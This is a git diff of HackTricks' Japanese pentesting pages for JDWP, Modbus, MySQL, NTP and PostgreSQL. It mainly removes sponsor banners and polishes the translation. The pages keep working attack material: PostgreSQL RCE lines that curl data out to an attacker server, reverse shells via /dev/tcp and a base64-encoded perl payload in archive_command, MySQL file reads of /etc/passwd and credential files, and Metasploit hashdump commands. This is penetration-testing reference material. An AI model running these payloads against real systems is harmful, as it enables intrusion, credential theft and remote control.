ファイアウォール保護の可能性にもかかわらず、JDWPサービスは発見可能で、ShodanHQやGitHubなどのプラットフォームでの検索によって実際のシナリオでエクスプロイト可能です。 - エクスプロイトスクリプトはさまざまなJDKバージョンに対してテストされており、プラットフォームに依存せず、信頼性のあるリモートコード実行(RCE)を提供します。 6. **セキュリティの影響**: -- インターネット上にオープンなJDWPサービスが存在することは、定期的なセキュリティレビュー、プロダクションでのデバッグ機能の無効化、適切なファイアウォール設定の必要性を強調しています。 +- インターネット上にオープンなJDWPサービスが存在することは、定期的なセキュリティレビュー、プロダクション環境でのデバッグ機能の無効化、適切なファイアウォール設定の必要性を強調しています。 ### **参考文献:** @@ -70,12 +62,5 @@ JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存し - [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) - [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html) -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大でエクスプロイト可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動エクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-modbus.md b/src/network-services-pentesting/pentesting-modbus.md index d89f39184..1cdd4c2d2 100644 --- a/src/network-services-pentesting/pentesting-modbus.md +++ b/src/network-services-pentesting/pentesting-modbus.md @@ -1,16 +1,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} # 基本情報 -1979年に**Modbusプロトコル**がModiconによって開発され、メッセージ構造として機能します。その主な用途は、マスター-スレーブ/クライアント-サーバーモデルの下で、インテリジェントデバイス間の通信を促進することです。このプロトコルは、デバイスが効率的にデータを交換するのを可能にする上で重要な役割を果たします。 +1979年に、**Modbusプロトコル**がModiconによって開発され、メッセージ構造として機能します。その主な用途は、マスター-スレーブ/クライアント-サーバーモデルの下で、インテリジェントデバイス間の通信を促進することです。このプロトコルは、デバイスが効率的にデータを交換するために重要な役割を果たします。 **デフォルトポート:** 502 ``` diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index edd247cbd..6c9593f70 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,12 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。 - -{% embed url="https://www.rootedcon.com/" %} - ## **基本情報** **MySQL** は、無償で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。 @@ -117,7 +111,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ## MySQLクライアントによる任意のファイルの読み取り -実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにそれを読み取って**内容を送信するように要求します。**したがって、自分のMySQLサーバーに接続するようにmysqlクライアントを改ざんできれば、任意のファイルを読み取ることができます。**\ +実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取って**その内容を送信するように要求します。**したがって、自分のMySQLサーバーに接続するようにmysqlクライアントを改ざんできれば、任意のファイルを読み取ることができます。**\ この動作は次のように使用されることに注意してください: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -135,11 +129,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ​ -
-​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 - -{% embed url="https://www.rootedcon.com/" %} ## POST @@ -154,9 +144,14 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= MySQLサービスの設定では、その操作とセキュリティ対策を定義するためにさまざまな設定が使用されます: -- **`user`**設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。 -- **`password`**は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。 -- **`admin_address`**は、管理ネットワークインターフェースでTCP/IP接続をリッス +- **`user`** 設定は、MySQLサービスが実行されるユーザーを指定するために使用されます。 +- **`password`** は、MySQLユーザーに関連付けられたパスワードを設定するために適用されます。 +- **`admin_address`** は、管理ネットワークインターフェースでTCP/IP接続をリッスンするIPアドレスを指定します。 +- **`debug`** 変数は、ログ内の機密情報を含む現在のデバッグ設定を示します。 +- **`sql_warnings`** は、警告が発生したときに単一行INSERT文のために情報文字列が生成されるかどうかを管理し、ログ内に機密データを含むことがあります。 +- **`secure_file_priv`** により、データのインポートおよびエクスポート操作の範囲が制限され、セキュリティが強化されます。 + +### 権限昇格 ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -176,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### 特権昇格 via ライブラリ -もし **mysqlサーバーがrootとして実行されている**(または他の特権のあるユーザーとして)場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。 +もし **mysqlサーバーがroot**(または他の特権のあるユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、**ユーザー定義関数**を使用する必要があります。そして、ユーザー定義を作成するには、mysqlが実行されているOS用の**ライブラリ**が必要です。 使用する悪意のあるライブラリは、sqlmap内やmetasploit内で **`locate "*lib_mysqludf_sys*"`** を実行することで見つけることができます。**`.so`** ファイルは **linux** ライブラリで、**`.dll`** は **Windows** のものです。必要なものを選んでください。 @@ -225,9 +220,9 @@ _/etc/mysql/debian.cnf_ の中に、ユーザー **debian-sys-maint** の **平 ```bash cat /etc/mysql/debian.cnf ``` -これらの資格情報を使用して**mysqlデータベースにログインできます**。 +これらの資格情報を使用してMySQLデータベースにログインできます。 -ファイル _/var/lib/mysql/mysql/user.MYD_ の中に、**MySQLユーザーのすべてのハッシュ**(データベース内のmysql.userから抽出できるもの)を見つけることができます_。 +ファイル _/var/lib/mysql/mysql/user.MYD_ の中には、**すべてのMySQLユーザーのハッシュ**(データベース内のmysql.userから抽出できるもの)が見つかります。 次のようにして抽出できます: ```bash @@ -614,10 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -
- -[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。 - -{% embed url="https://www.rootedcon.com/" %} +​ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 84047cc9d..9f2eb5073 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -2,35 +2,20 @@ {{#include ../banners/hacktricks-training.md}} -
+## 基本情報 -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください! +**ネットワーク時間プロトコル (NTP)** は、可変遅延ネットワーク上のコンピュータやネットワークデバイスが時計を正確に同期させることを保証します。これは、IT運用、セキュリティ、およびログ記録において正確な時間管理を維持するために重要です。NTPの精度は重要ですが、適切に管理されない場合はセキュリティリスクも伴います。 -**Hacking Insights**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう +### 概要とセキュリティのヒント: -**Real-Time Hack News**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**Latest Announcements**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic Information - -**Network Time Protocol (NTP)** は、可変遅延ネットワークを介してコンピュータやネットワークデバイスが時計を正確に同期させることを保証します。これは、IT運用、セキュリティ、ログ記録において正確な時間管理を維持するために重要です。NTPの正確性は不可欠ですが、適切に管理されない場合はセキュリティリスクも伴います。 - -### Summary & Security Tips: - -- **Purpose**: デバイスの時計をネットワーク経由で同期します。 -- **Importance**: セキュリティ、ログ記録、運用にとって重要です。 -- **Security Measures**: +- **目的**: ネットワークを介してデバイスの時計を同期させる。 +- **重要性**: セキュリティ、ログ記録、および運用にとって重要。 +- **セキュリティ対策**: - 認証付きの信頼できるNTPソースを使用する。 - NTPサーバーへのネットワークアクセスを制限する。 -- 改ざんの兆候がないか同期を監視する。 +- 改ざんの兆候を監視するために同期を監視する。 -**Default port:** 123/udp +**デフォルトポート:** 123/udp ``` PORT STATE SERVICE REASON 123/udp open ntp udp-response @@ -57,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1 [**NTP DDoS攻撃の仕組み**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref) -**NTPプロトコル**は、UDPを使用しており、TCPとは異なり、ハンドシェイク手順なしで動作することができます。この特性は、**NTP DDoS増幅攻撃**で悪用されます。ここでは、攻撃者が偽のソースIPを持つパケットを作成し、攻撃リクエストが被害者から来ているように見せかけます。これらのパケットは最初は小さいですが、NTPサーバーははるかに大きなデータ量で応答し、攻撃を増幅させます。 +**NTPプロトコル**は、UDPを使用しており、TCPとは異なり、ハンドシェイク手順なしで動作することができます。この特性は、**NTP DDoS増幅攻撃**で悪用されます。ここでは、攻撃者が偽のソースIPを持つパケットを作成し、攻撃要求が被害者から来ているように見せかけます。これらのパケットは最初は小さいですが、NTPサーバーははるかに大きなデータ量で応答し、攻撃を増幅させます。 _**MONLIST**_コマンドは、使用頻度は低いものの、NTPサービスに接続した最後の600クライアントを報告することができます。このコマンド自体は単純ですが、その悪用は重大なセキュリティ脆弱性を浮き彫りにします。 ```bash @@ -86,19 +71,6 @@ Name: Nmap Description: Enumerate NTP Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP} ``` -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界について最新情報を把握しましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう! +​ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index f6fedaa60..7038d7756 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,20 +1,13 @@ # 5432,5433 - Pentesting Postgresql -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} {{#include ../banners/hacktricks-training.md}} ## **基本情報** -**PostgreSQL**は、**オープンソース**の**オブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加機能で強化されています。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多用途な選択肢となっています。 +**PostgreSQL** は **オブジェクトリレーショナルデータベースシステム** として説明されており、**オープンソース** です。このシステムは SQL 言語を利用するだけでなく、追加機能で強化しています。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多用途な選択肢となっています。 -**デフォルトポート:** 5432、そしてこのポートがすでに使用されている場合、postgresqlは使用されていない次のポート(おそらく5433)を使用するようです。 +**デフォルトポート:** 5432、もしこのポートがすでに使用されている場合、postgresql は使用されていない次のポート (おそらく 5433) を使用するようです。 ``` PORT STATE SERVICE 5432/tcp open pgsql @@ -60,9 +53,9 @@ SELECT * FROM pg_extension; \s ``` > [!WARNING] -> **`\list`** を実行して **`rdsadmin`** というデータベースが見つかった場合、あなたは **AWS postgresql database** の中にいることがわかります。 +> **`\list`** を実行して **`rdsadmin`** というデータベースが見つかった場合、あなたは **AWS PostgreSQL データベース** 内にいることがわかります。 -**PostgreSQLデータベースを悪用する方法**についての詳細は、以下を確認してください: +**PostgreSQL データベースを悪用する方法** についての詳細は、以下を確認してください: {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/ @@ -88,7 +81,7 @@ connect_timeout=10'); ``` - ホストがダウンしています -`DETAIL: サーバーに接続できませんでした: ホストへのルートがありません "1.2.3.4" でサーバーが実行中で、ポート 5678 で TCP/IP 接続を受け入れていますか?` +`DETAIL: サーバーに接続できませんでした: ホストへのルートがありません "1.2.3.4" でサーバーが実行されていて、ポート 5678 で TCP/IP 接続を受け入れていますか?` - ポートが閉じています ``` @@ -109,7 +102,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -PL/pgSQL関数では、現在例外の詳細を取得することはできません。ただし、PostgreSQLサーバーに直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名とパスワードを抽出することが不可能な場合は、前のセクションで説明したワードリスト攻撃手法を利用することを検討してください。これは、ポジティブな結果をもたらす可能性があります。 +PL/pgSQL関数では、現在例外の詳細を取得することはできません。ただし、PostgreSQLサーバーに直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名やパスワードを抽出することが不可能な場合は、前のセクションで説明したワードリスト攻撃手法を利用することを検討してください。これは、ポジティブな結果をもたらす可能性があります。 ## 権限の列挙 @@ -121,13 +114,13 @@ PL/pgSQL関数では、現在例外の詳細を取得することはできませ | rolinherit | ロールは自動的にそのメンバーであるロールの権限を継承します | | rolcreaterole | ロールは他のロールを作成できます | | rolcreatedb | ロールはデータベースを作成できます | -| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます | -| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 | -| rolconnlimit | ログインできるロールに対して、このロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 | +| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます | +| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 | +| rolconnlimit | ログインできるロールに対して、このロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 | | rolpassword | パスワードではありません(常に`********`として読み取られます) | -| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合はnull | -| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 | -| rolconfig | 実行時設定変数のロール固有のデフォルト | +| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合はnull | +| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 | +| rolconfig | 実行時構成変数のロール固有のデフォルト | | oid | ロールのID | #### 興味深いグループ @@ -137,7 +130,7 @@ PL/pgSQL関数では、現在例外の詳細を取得することはできませ - **`pg_write_server_files`**のメンバーであれば、ファイルを**書き**込むことができます > [!NOTE] -> Postgresでは、**ユーザー**、**グループ**、および**ロール**は**同じ**です。これは**どのように使用するか**と**ログインを許可するか**によって異なります。 +> Postgresでは、**ユーザー**、**グループ**、および**ロール**は**同じ**です。これは**どのように使用するか**と、**ログインを許可するか**に依存します。 ```sql # Get users roles \du @@ -219,7 +212,7 @@ SELECT * FROM pg_proc; ### ディレクトリとファイルの読み取り -この [**コミット** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、定義された **`DEFAULT_ROLE_READ_SERVER_FILES`** グループ(**`pg_read_server_files`** と呼ばれる)および **スーパーユーザー** は、任意のパスで **`COPY`** メソッドを使用できます(`genfile.c` の `convert_and_check_filename` を確認してください): +この[**コミット**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、定義された**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)および**スーパーユーザー**は、任意のパスで**`COPY`**メソッドを使用できます(`genfile.c`の`convert_and_check_filename`を確認してください): ```sql # Read file CREATE TABLE demo(t text); @@ -259,7 +252,7 @@ SHOW data_directory; GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` -**より多くの機能**は[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)で見つけることができます。 +**より多くの関数**は[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)で見つけることができます。 ### シンプルなファイル書き込み @@ -287,15 +280,9 @@ COPY は改行文字を処理できないため、base64 ペイロードを使 ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} -## +### ローカルファイル書き込みを介した PostgreSQL テーブルデータの更新 -**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加し、最大 **$100,000** のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -### ローカルファイル書き込みによる PostgreSQL テーブルデータの更新 - -PostgreSQL サーバーファイルを読み書きするための必要な権限がある場合、[PostgreSQL データディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の関連ファイルノードを**上書きすることによって**、サーバー上の任意のテーブルを更新できます。**この技術の詳細は** [**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users) で。 +PostgreSQL サーバーファイルを読み書きするための必要な権限がある場合、[PostgreSQL データディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の関連ファイルノードを**上書きすることによって**、サーバー上の任意のテーブルを更新できます。**この技術の詳細** [**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。 必要な手順: @@ -305,9 +292,9 @@ PostgreSQL サーバーファイルを読み書きするための必要な権限 SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**注意:** 設定から現在のデータディレクトリパスを取得できない場合、`SELECT version()` クエリを通じて主要な PostgreSQL バージョンをクエリし、パスをブルートフォースすることができます。Unix インストールの PostgreSQL の一般的なデータディレクトリパスは `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` です。一般的なクラスター名は `main` です。 +**注意:** 設定から現在のデータディレクトリパスを取得できない場合、`SELECT version()` クエリを通じて主要な PostgreSQL バージョンを照会し、パスをブルートフォースすることができます。Unix インストールの PostgreSQL の一般的なデータディレクトリパスは `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` です。一般的なクラスター名は `main` です。 -2. 対象テーブルに関連するファイルノードへの相対パスを取得する +2. 対象テーブルに関連付けられたファイルノードへの相対パスを取得する ```sql SELECT pg_relation_filepath('{TABLE_NAME}') @@ -321,7 +308,7 @@ SELECT pg_relation_filepath('{TABLE_NAME}') SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. 対象テーブルに関連するデータ型を取得する +4. 対象テーブルに関連付けられたデータ型を取得する ```sql SELECT @@ -349,9 +336,9 @@ WHERE pg_class.relname = '{TABLE_NAME}'; python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` -![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) +![PostgreSQL Filenode Editor デモ](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) -6. 編集したファイルノードを `lo_*` 関数を通じて再アップロードし、ディスク上の元のファイルを上書きします。 +6. 編集したファイルノードを `lo_*` 関数を介して再アップロードし、ディスク上の元のファイルを上書きします。 ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) @@ -364,7 +351,7 @@ SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` -8. これで PostgreSQL に更新されたテーブル値が表示されるはずです。 +8. これで、PostgreSQL に更新されたテーブル値が表示されるはずです。 `pg_authid` テーブルを編集することでスーパーユーザーになることもできます。**次のセクションを参照してください** [**こちら**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。 @@ -372,7 +359,7 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ### **プログラムへの RCE** -[バージョン 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) 以降、**スーパーユーザー**およびグループ **`pg_execute_server_program`** のメンバーのみが RCE のために copy を使用できます (例: 外部流出): +[バージョン 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) 以降、**スーパーユーザー**および **`pg_execute_server_program`** グループのメンバーのみが RCE のために copy を使用できます (例: 外部流出): ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` @@ -415,7 +402,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md {{#endref}} -### PostgreSQL 設定ファイル RCE +### PostgreSQL 設定ファイルによる RCE > [!NOTE] > 次の RCE ベクターは、すべてのステップがネストされた SELECT ステートメントを通じて実行できるため、制約のある SQLi コンテキストで特に便利です。 @@ -431,22 +418,22 @@ PostgreSQL の **設定ファイル** は **postgres ユーザー** によって 設定ファイルには RCE に繋がるいくつかの興味深い属性があります: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` データベースのプライベートキーへのパス -- `ssl_passphrase_command = ''` プライベートファイルがパスワードで保護されている場合(暗号化されている)、PostgreSQL は **この属性に示されたコマンドを実行します**。 +- `ssl_passphrase_command = ''` プライベートファイルがパスワードで保護されている場合(暗号化されている場合)、PostgreSQL は **この属性に示されたコマンドを実行します**。 - `ssl_passphrase_command_supports_reload = off` **この属性が** **on** の場合、パスワードで保護されたキーがあるときに **実行されるコマンド** は `pg_reload_conf()` が **実行されるときに** **実行されます**。 その後、攻撃者は次のことを行う必要があります: -1. **プライベートキーをサーバーからダンプする** -2. **ダウンロードしたプライベートキーを暗号化する**: +1. **サーバーからプライベートキーをダンプ** +2. **ダウンロードしたプライベートキーを暗号化**: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` -3. **上書きする** -4. **現在の PostgreSQL **設定をダンプする** -5. **前述の属性設定で **設定を上書きする**: +3. **上書き** +4. **現在の PostgreSQL **設定をダンプ** +5. **上記の属性設定で **設定** を上書き**: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` -6. `pg_reload_conf()` を実行する +6. `pg_reload_conf()` を実行 -これをテストしていると、**プライベートキーのファイルが 640 の権限を持ち、** **root に所有され、** **ssl-cert または postgres グループに属している場合にのみ機能することに気付きました**(したがって、postgres ユーザーがそれを読むことができ)、_ /var/lib/postgresql/12/main _ に配置されている必要があります。 +これをテストしていると、**プライベートキー ファイルの権限が 640** である場合にのみ機能することに気付きました。これは **root に所有され**、**ssl-cert または postgres グループ** に属している必要があります(したがって、postgres ユーザーが読み取れるように)、_ /var/lib/postgresql/12/main_ に配置されている必要があります。 #### **archive_command による RCE** @@ -458,10 +445,10 @@ PostgreSQL の **設定ファイル** は **postgres ユーザー** によって 一般的な手順は次のとおりです: -1. アーカイブモードが有効かどうかを確認する: `SELECT current_setting('archive_mode')` -2. ペイロードで `archive_command` を上書きする。例えば、リバースシェル: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` -3. 設定をリロードする: `SELECT pg_reload_conf()` -4. WAL 操作を強制的に実行し、アーカイブコマンドを呼び出す: `SELECT pg_switch_wal()` または一部の PostgreSQL バージョン用の `SELECT pg_switch_xlog()` +1. アーカイブモードが有効かどうかを確認します: `SELECT current_setting('archive_mode')` +2. ペイロードで `archive_command` を上書きします。例えば、リバースシェル: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` +3. 設定をリロードします: `SELECT pg_reload_conf()` +4. WAL 操作を強制的に実行し、アーカイブコマンドを呼び出します: `SELECT pg_switch_wal()` または一部の PostgreSQL バージョン用の `SELECT pg_switch_xlog()` #### **プリロードライブラリによる RCE** @@ -472,15 +459,15 @@ PostgreSQL の **設定ファイル** は **postgres ユーザー** によって - `session_preload_libraries` -- クライアント接続時に PostgreSQL サーバーによって読み込まれるライブラリ。 - `dynamic_library_path` -- PostgreSQL サーバーがライブラリを検索するディレクトリのリスト。 -`dynamic_library_path` の値を、データベースを実行している `postgres` ユーザーによって書き込み可能なディレクトリ、例えば `/tmp/` ディレクトリに設定し、そこに悪意のある `.so` オブジェクトをアップロードします。次に、`session_preload_libraries` 変数に新しくアップロードしたライブラリを含めることで、PostgreSQL サーバーにそれを読み込ませることができます。 +`dynamic_library_path` の値を、データベースを実行している `postgres` ユーザーによって書き込み可能なディレクトリ(例:`/tmp/` ディレクトリ)に設定し、そこに悪意のある `.so` オブジェクトをアップロードします。次に、`session_preload_libraries` 変数に新しくアップロードしたライブラリを含めることで、PostgreSQL サーバーにそれを読み込ませます。 攻撃手順は次のとおりです: -1. 元の `postgresql.conf` をダウンロードする -2. `dynamic_library_path` の値に `/tmp/` ディレクトリを含める、例えば `dynamic_library_path = '/tmp:$libdir'` -3. `session_preload_libraries` の値に悪意のあるライブラリ名を含める、例えば `session_preload_libraries = 'payload.so'` -4. `SELECT version()` クエリを介して主要な PostgreSQL バージョンを確認する -5. 正しい PostgreSQL 開発パッケージで悪意のあるライブラリコードをコンパイルする サンプルコード: +1. 元の `postgresql.conf` をダウンロード +2. `dynamic_library_path` の値に `/tmp/` ディレクトリを含めます。例: `dynamic_library_path = '/tmp:$libdir'` +3. `session_preload_libraries` 